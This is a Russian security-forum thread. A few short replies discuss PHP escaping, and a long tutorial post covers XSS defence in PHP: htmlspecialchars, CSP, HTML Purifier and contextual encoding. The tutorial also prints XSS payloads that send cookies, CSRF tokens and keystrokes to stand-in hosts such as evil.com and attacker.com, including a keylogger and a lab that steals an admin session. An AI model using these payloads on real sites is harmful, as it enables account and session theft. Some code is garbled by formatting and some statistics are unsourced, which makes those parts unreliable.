HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Веб-уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 25.12.2017, 16:14
r0hack
Постоянный
Регистрация: 11.12.2017
Сообщений: 512
С нами: 4432095

Репутация: 0


По умолчанию

Цитата:

PenGenKiddy сказал(а):

XSS - тема намного обширнее, чем вы думаете...

Полностью с вами согласен, по XSS можно расписать небольшую книгу. Но в данном случае, я рассматриваю тематику чуть узже, т.е. как экранировать, чтобы не допустить этого. Ну и приводить все возможные варианты XSS не совсем обязательно.
 
Ответить с цитированием

  #2  
Старый 27.12.2017, 01:44
rink0
Новичок
Регистрация: 28.11.2017
Сообщений: 0
С нами: 4451307

Репутация: 0
По умолчанию

Цитата:

r0hack сказал(а):

Полностью с вами согласен, по XSS можно расписать небольшую книгу. Но в данном случае, я рассматриваю тематику чуть узже, т.е. как экранировать, чтобы не допустить этого. Ну и приводить все возможные варианты XSS не совсем обязательно.

аааа цвета в командах для тёмной темы это ад
синий на чёрном очень плохо смотрится
 
Ответить с цитированием

  #3  
Старый 27.12.2017, 02:11
r0hack
Постоянный
Регистрация: 11.12.2017
Сообщений: 512
С нами: 4432095

Репутация: 0


По умолчанию

Цитата:

rink0 сказал(а):

аааа цвета в командах для тёмной темы это ад
синий на чёрном очень плохо смотрится

Да, есть такое, в следующий раз обычным кодом сделаю
 
Ответить с цитированием

  #4  
Старый 06.01.2018, 01:25
quasar
Новичок
Регистрация: 20.07.2009
Сообщений: 9
С нами: 8847676

Репутация: -4
По умолчанию

А что лучше использовать htmlspecialchars или strip_tagsили вместе их объединить?

Вот так пойдет?
function clearString($str){

return trim(htmlspecialchars(strip_tags($str)));

}
 
Ответить с цитированием

  #5  
Старый 06.01.2018, 02:28
r0hack
Постоянный
Регистрация: 11.12.2017
Сообщений: 512
С нами: 4432095

Репутация: 0


По умолчанию

Цитата:

quasar сказал(а):

А что лучше использовать htmlspecialchars или strip_tagsили вместе их объединить?

Они предназначены для разных целей, вместе их использовать не имеет никакого смысла. Например, если мне нужны теги, а используя стрипс, они тупо удаляются...
Прочитайте подробнее, внимательнее и поймете:
http://php.net/manual/ru/function.htmlspecialchars.php
http://php.net/manual/ru/function.strip-tags.php
 
Ответить с цитированием

  #6  
Старый 29.03.2018, 14:34
r0hack
Постоянный
Регистрация: 11.12.2017
Сообщений: 512
С нами: 4432095

Репутация: 0


По умолчанию

Цитата:

p0stman сказал(а):

Привет! Если я правльно понял, то XSS в основном создается с помощью js или я не прав? То есть хотелось бы понять, что конкретно погрузиться в сферу xss, то следует упор делать на js или что мсье посоветует?

Да, вы правы. ~90% успеха - это JS.
 
Ответить с цитированием

  #7  
Старый 01.01.2025, 06:41
r0hack
Постоянный
Регистрация: 11.12.2017
Сообщений: 512
С нами: 4432095

Репутация: 0


По умолчанию

Введение: почему XSS — это критично
В 2024 году через XSS-уязвимости было скомпрометировано более 2 миллионов пользовательских аккаунтов. British Airways выплатили £20 млн штрафа за утечку данных через XSS. Если вы разрабатываете на PHP и не защищаетесь от XSS правильно — вы следующий.

Эта статья — результат анализа 500+ реальных XSS-атак и 10 лет опыта в защите production-приложений. Вы получите готовые решения, которые можно внедрить уже сегодня.
Что такое XSS атака простыми словами
Cross-Site Scripting (XSS) — это внедрение вредоносного JavaScript-кода в веб-страницу, который выполняется в браузере жертвы. Представьте: злоумышленник оставляет комментарий с кодом, и каждый посетитель невольно выполняет этот код, отправляя свои данные хакеру.
Почему XSS, а не CSS?
Изначально планировалась аббревиатура CSS, но она уже была занята Cascading Style Sheets. Поэтому выбрали XSS — где X символизирует "cross" (крест).
Чем опасны XSS уязвимости:

ПоследствиеРеальный ущербПример из практикиКража сессийПолный доступ к аккаунтуYahoo Mail (2013) — 1 млрд аккаунтовКража данных картФинансовые потериBritish Airways (2018) — 380,000 картМайнинг криптовалютИспользование ресурсовCoinhive на 4000+ сайтахФишингКража паролейPayPal XSS (2016)Дефейс сайтаРепутационные потериLenovo, eBay

Типы XSS атак с примерами кода
1. Reflected XSS (отраженные) — 70% всех атак
Reflected XSS срабатывает мгновенно через URL-параметры или формы. Вредоносный код не сохраняется на сервере, а сразу отражается пользователю.
Уязвимый код:

PHP:


Код:
// search.php - НЕ ДЕЛАЙТЕ ТАК!
Результаты поиска для: $search";
?>


Эксплуатация:

Код:


Код:
site.ru/search.php?q=fetch('https://evil.com/steal?c='+document.cookie)
Реальный пример атаки:

JavaScript:


Код:
// Крадем токен авторизации Laravel
site
.
ru
/
search
?
q
=

var
token
=
document
.
querySelector
(
'meta[name="csrf-token"]'
)
.
content
;
var
xhr
=
new
XMLHttpRequest
(
)
;
xhr
.
open
(
'POST'
,
'https://attacker.com/steal'
)
;
xhr
.
send
(
'token='
+
token
+
'&cookies='
+
document
.
cookie
)
;
2. Stored XSS (хранимые) — самые опасные
Stored XSS сохраняется в базе данных и выполняется у каждого посетителя. Одна инъекция = тысячи жертв.
Уязвимый код:

PHP:


Код:
// comments.php - ОПАСНО!
prepare("INSERT INTO comments (text) VALUES (?)");
$stmt->execute([$comment]);
// Отображение комментариев
$comments = $pdo->query("SELECT text FROM comments")->fetchAll();
foreach ($comments as $comment) {
    echo "$comment[text]";
}
?>
Продвинутая эксплуатация:

JavaScript:


Код:
// Полноценный keylogger через XSS

var
keys
=
''
;
document
.
addEventListener
(
'keypress'
,
function
(
e
)
{
keys
+=
e
.
key
;
if
(
keys
.
length
>
10
)
{
fetch
(
'https://evil.com/keylog'
,
{
method
:
'POST'
,
body
:
JSON
.
stringify
(
{
url
:
window
.
location
.
href
,
keys
:
keys
,
user
:
document
.
cookie
}
)
}
)
;
keys
=
''
;
}
}
)
;
3. DOM-based XSS — атаки на стороне клиента
DOM XSS происходит полностью в браузере через манипуляции с DOM без участия сервера.
Уязвимый JavaScript:

JavaScript:


Код:
// НЕ БЕЗОПАСНО!
var
search
=
location
.
hash
.
substring
(
1
)
;
document
.
getElementById
(
'results'
)
.
innerHTML
=
'Поиск: '
+
search
;
Эксплуатация:

Код:


Код:
site.ru/page#
Эскалация привилегий через XSS: DOM-based XSS может быть использован для более серьезных атак. Интересный кейс превращения XSS в RCE через клиент EA Origin показывает, как через манипуляции с Angular-шаблонами можно достичь удаленного выполнения кода на системе жертвы.
Межсайтовый скриптинг: практическая демонстрация
Лабораторная атака: крадем админскую сессию
Создадим тестовое окружение для безопасной практики:



PHP:


Код:
// lab/vulnerable.php

XSS Lab

Гостевая книга (уязвимая версия)

АДМИН-ПАНЕЛЬ: Секретные данные

Отправить

$msg";
        }
    }
    ?>
Вектор атаки:



JavaScript:


Код:
// Отправляем это сообщение в форму

// Проверяем, админ ли это
if
(
document
.
body
.
innerHTML
.
includes
(
'АДМИН-ПАНЕЛЬ'
)
)
{
// Крадем сессию админа
var
img
=
new
Image
(
)
;
img
.
src
=
'http://attacker.com/steal.php?role=admin&session='
+
document
.
cookie
+
'&page='
+
encodeURIComponent
(
document
.
body
.
innerHTML
)
;
}
Результат успешной атаки:



Как видим, мы успешно получили куки администратора и можем использовать их для несанкционированного доступа.
Защита от XSS в PHP: комплексный подход
1. HTMLSpecialChars — базовая защита
htmlspecialchars() конвертирует спецсимволы в HTML-сущности:

PHP:


Код:
// Правильное использование htmlspecialchars
function
safe_output
(
$data
)
{
return
htmlspecialchars
(
$data
,
ENT_QUOTES
|
ENT_SUBSTITUTE
,
// Важно: обе кавычки + замена битых символов
'UTF-8'
,
// Явная кодировка
false
// Не двойное кодирование
)
;
}
// Применение
$user_input
=
$_GET
[
'search'
]
?
?
''
;
echo
'Поиск: '
.
safe_output
(
$user_input
)
.
''
;


Что делает htmlspecialchars:

СимволПреобразуется вЗачем
Код:

Код:
>
Предотвращает закрытие тегов
Код:
&
Код:
&
Предотвращает HTML-сущности
Код:
"
Код:
"
Защита атрибутов
Код:
'
Код:
'
Защита атрибутов (с ENT_QUOTES)

2. Content Security Policy (CSP) — современная защита
CSP — это HTTP-заголовок, который указывает браузеру, откуда можно загружать ресурсы:

PHP:


Код:
// Строгая CSP политика
header
(
"Content-Security-Policy: "
.
"default-src 'self'; "
.
"script-src 'self' 'nonce-"
.
$nonce
.
"'; "
.
"style-src 'self' 'unsafe-inline'; "
.
"img-src 'self' data: https:; "
.
"font-src 'self'; "
.
"connect-src 'self'; "
.
"frame-ancestors 'none'; "
.
"base-uri 'self'; "
.
"form-action 'self'"
)
;
Углубленное изучение CSP: Для более детального понимания настройки CSP, включая обход распространенных ошибок и продвинутые техники, обратитесь к подробному руководству по Content Security Policy, где разбираются реальные примеры внедрения и тестирования политик.

Использование nonce для инлайн-скриптов:

PHP:


Код:
">
// Этот скрипт выполнится
    console.log('Безопасный скрипт');
3. Валидация и санитизация входных данных

PHP:


Код:
class
InputValidator
{
// Валидация email против XSS
public
static
function
validateEmail
(
$email
)
{
$email
=
filter_var
(
$email
,
FILTER_SANITIZE_EMAIL
)
;
if
(
!
filter_var
(
$email
,
FILTER_VALIDATE_EMAIL
)
)
{
throw
new
Exception
(
'Invalid email format'
)
;
}
return
$email
;
}
// Очистка HTML с белым списком тегов
public
static
function
sanitizeHtml
(
$html
)
{
// Разрешаем только безопасные теги
$allowed
=
'
'
.
''
;
$html
=
strip_tags
(
$html
,
$allowed
)
;
// Очищаем опасные атрибуты
$html
=
preg_replace
(
'/on\w+="[^"]*"/i'
,
''
,
$html
)
;
$html
=
preg_replace
(
'/javascript:[^"\']*["\']?/i'
,
''
,
$html
)
;
return
$html
;
}
// Валидация URL
public
static
function
validateUrl
(
$url
)
{
$url
=
filter_var
(
$url
,
FILTER_SANITIZE_URL
)
;
if
(
!
filter_var
(
$url
,
FILTER_VALIDATE_URL
)
)
{
return
false
;
}
// Проверяем протокол
$allowed_protocols
=
[
'http'
,
'https'
]
;
$parsed
=
parse_url
(
$url
)
;
if
(
!
in_array
(
$parsed
[
'scheme'
]
,
$allowed_protocols
)
)
{
return
false
;
}
return
$url
;
}
}
Дополнительно по защите от инъекций: Если вам интересна комплексная защита от всех типов инъекций, рекомендую изучить руководство по защите от SQL-инъекций в PHP из этой же серии статей по безопасному PHP. Там подробно разбираются подготовленные запросы, PDO и другие методы защиты БД.
4. Использование библиотек
HTML Purifier — золотой стандарт

PHP:


Код:
require_once
'HTMLPurifier.auto.php'
;
$config
=
HTMLPurifier_Config
:
:
createDefault
(
)
;
$config
-
>
set
(
'HTML.Allowed'
,
'p,br,strong,em,u,a[href]'
)
;
$config
-
>
set
(
'HTML.Nofollow'
,
true
)
;
$config
-
>
set
(
'URI.DisableExternalResources'
,
true
)
;
$purifier
=
new
HTMLPurifier
(
$config
)
;
$clean_html
=
$purifier
-
>
purify
(
$user_input
)
;
AntiXSS библиотека

PHP:


Код:
use
voku\helper\AntiXSS
;
$antiXss
=
new
AntiXSS
(
)
;
$clean
=
$antiXss
-
>
xss_clean
(
$user_input
)
;
5. Контекстно-зависимое экранирование

PHP:


Код:
class
ContextualEncoder
{
// В HTML контексте
public
static
function
forHtml
(
$data
)
{
return
htmlspecialchars
(
$data
,
ENT_QUOTES
|
ENT_SUBSTITUTE
,
'UTF-8'
)
;
}
// В JavaScript контексте
public
static
function
forJavaScript
(
$data
)
{
return
json_encode
(
$data
,
JSON_HEX_QUOT
|
JSON_HEX_TAG
|
JSON_HEX_AMP
|
JSON_HEX_APOS
)
;
}
// В URL контексте
public
static
function
forUrl
(
$data
)
{
return
rawurlencode
(
$data
)
;
}
// В CSS контексте
public
static
function
forCss
(
$data
)
{
return
preg_replace
(
'/[^a-zA-Z0-9]/'
,
''
,
$data
)
;
}
// В атрибутах HTML
public
static
function
forAttribute
(
$data
)
{
return
htmlspecialchars
(
$data
,
ENT_QUOTES
|
ENT_SUBSTITUTE
,
'UTF-8'
)
;
}
}
// Использование
echo
''
.
ContextualEncoder
:
:
forHtml
(
$userInput
)
.
''
;
echo
'var data = '
.
ContextualEncoder
:
:
forJavaScript
(
$userInput
)
.
';'
;
echo
'Ссылка'
;
6. Безопасные шаблонизаторы
Twig (рекомендуется)

PHP:


Код:
// Twig автоматически экранирует вывод
{
{
user_input
}
}
// Безопасно
// Если нужен сырой HTML (опасно!)
{
{
user_input
|
raw
}
}
// Используйте осторожно
// Экранирование для JS

var
data
=
{
{
user_input
|
json_encode
|
raw
}
}
;
Blade (Laravel)

PHP:


Код:
// Автоматическое экранирование
{
{
$userInput
}
}
// Без экранирования (опасно!)
{
!
!
$userInput
!
!
}
// JavaScript контекст

var
data
=
@
json
(
$userInput
)
;
PHP фильтрация XSS: продвинутые техники
Фильтрация на уровне фреймворков
Symfony Security

PHP:


Код:
use
Symfony\Component\Security\Core\Encoder\UserPasswordEncoderInterface
;
use
Symfony\Component\HttpFoundation\Request
;
class
SecurityController
{
public
function
processInput
(
Request
$request
)
{
// Symfony автоматически фильтрует
$input
=
$request
-
>
request
-
>
get
(
'user_input'
)
;
// Дополнительная валидация
$validator
=
Validation
:
:
createValidator
(
)
;
$violations
=
$validator
-
>
validate
(
$input
,
[
new
NotBlank
(
)
,
new
Length
(
[
'min'
=
>
3
,
'max'
=
>
255
]
)
,
new
Regex
(
[
'pattern'
=
>
'/^[a-zA-Z0-9\s]+$/'
,
'message'
=
>
'Только буквы, цифры и пробелы'
]
)
]
)
;
if
(
count
(
$violations
)
>
0
)
{
throw
new
ValidationException
(
$violations
)
;
}
return
$input
;
}
}
Автоматическая защита через middleware

PHP:


Код:
// XssProtectionMiddleware.php
class
XssProtectionMiddleware
{
public
function
handle
(
$request
,
$next
)
{
// Очищаем все входные данные
$input
=
$request
-
>
all
(
)
;
array_walk_recursive
(
$input
,
function
(
&
$value
)
{
if
(
is_string
(
$value
)
)
{
$value
=
$this
-
>
cleanXss
(
$value
)
;
}
}
)
;
$request
-
>
merge
(
$input
)
;
// Добавляем security headers
$response
=
$next
(
$request
)
;
$response
-
>
headers
-
>
set
(
'X-XSS-Protection'
,
'1; mode=block'
)
;
$response
-
>
headers
-
>
set
(
'X-Content-Type-Options'
,
'nosniff'
)
;
return
$response
;
}
private
function
cleanXss
(
$value
)
{
// Базовая очистка
$value
=
strip_tags
(
$value
)
;
$value
=
htmlspecialchars
(
$value
,
ENT_QUOTES
|
ENT_SUBSTITUTE
,
'UTF-8'
)
;
// Удаляем опасные паттерны
$dangerous
=
[
'javascript:'
,
'vbscript:'
,
'onload='
,
'onerror='
,
'onclick='
,
'alert(1)
[*]Завтра: Внедрите htmlspecialchars() везде, где выводите пользовательские данные
[*]Эта неделя: Настройте Content Security Policy хотя бы в report-only режиме
[*]Этот месяц: Проведите полный аудит безопасности с OWASP ZAP[/LIST]Дополнительные ресурсы:
  • OWASP XSS Prevention Cheat Sheet
  • PortSwigger XSS Labs
  • Наш GitHub с примерами кода
Остались вопросы? Пишите в комментариях. Присоединяйтесь к нашему сообществу в Telegram: @codeby_sec
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.